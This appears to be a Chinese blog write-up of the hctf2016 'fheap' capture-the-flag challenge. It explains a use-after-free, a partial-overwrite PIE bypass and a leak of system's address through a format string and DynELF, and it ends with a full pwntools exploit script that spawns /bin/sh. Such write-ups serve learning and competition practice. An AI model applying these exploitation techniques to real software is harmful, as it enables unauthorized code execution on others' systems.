hctf2016 fheap

果然回到家之后啥都不想干,已经睡了好几天了

程序分析

查看开启的保护
QQ截图20170813153021.jpg-12.4kB
利用位置很明显,程序在释放一段空间后并没有将指向这段空间的指针置空,导致在malloc申请这段内存并覆盖后仍可以利用,即use after free
QQ截图20170813154256.jpg-50.3kB

利用思路

申请两个字符串长度小与0xf的堆块,然后将其释放,在申请一个字符串长度大于0xf的堆块,便可以利用输入的字符串覆盖上一次的free_func指针,造成uaf
QQ截图20170813155140.jpg-45.1kB

绕过pie

首先需要泄露程序的地址,可以把free_func的地址覆盖为puts的地址,但是因为并不知道程序的运行基址,所以需要绕过pie
经过观察可以发现call puts的地址除最低位其他与free_func相同,也就是只需要覆盖最低位就可以改变执行流程,打印出此时call puts的地址获得程序加载基址
QQ截图20170813161108.jpg-23.2kB

泄露system函数地址

堆块函数指针可控,传入参数可控,可以利用格式化字符串和DynELF模块搜索system的地址

构造出system("/bin/sh")

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *
#context(log_level='debug')
io = process('./fheap')
print_plt = 0
def create(size,content):
io.recvuntil("quit")
io.send("create ")
io.recvuntil("size:")
io.send(str(size)+'\n')
io.recvuntil('str:')
io.send(content)
def delete(idx,padding = "yes "):
io.recvuntil("quit")
io.send("delete "+'\n')
io.recvuntil('id:')
io.send(str(idx)+'\n')
io.recvuntil('sure?:')
io.sendline(padding)
def leak(addr):
delete(0)
data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt)
create(0x20,data)
delete(1,'yes01234'+p64(addr))
io.recvuntil('aa')
data=io.recvuntil('####')[:-4]
data += "\x00"
return data
create(4,'aa')
create(4,'bb')
delete(1)
delete(0)
data='a'*0x10+'b'*0x8+'\x2d'+'\x00'
create(0x20,data)
delete(1)
io.recvuntil('b'*0x8)
fputs = u64(io.recv(6) + "\x00\x00")
proc_base=fputs-0xd2d
#addr = proc_base
print hex(proc_base)
delete(0)
print_plt=proc_base+0x9d0
print hex(print_plt)
data='a'*0x10+'b'*0x8+'\x2D'+'\x00'
create(0x20,data)
delete(1)
io.recvuntil('b'*0x8)
data=io.recvuntil('1.')[:-2]
d = DynELF(leak, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print "system_addr:", hex(system_addr)
delete(0)
data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)
create(0x20,data)
delete(1)
io.interactive("Shell#")

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 程序分析
  2. 2. 利用思路
    1. 2.1. 绕过pie
    2. 2.2. 泄露system函数地址
    3. 2.3. 构造出system("/bin/sh")
  3. 3. 利用脚本
,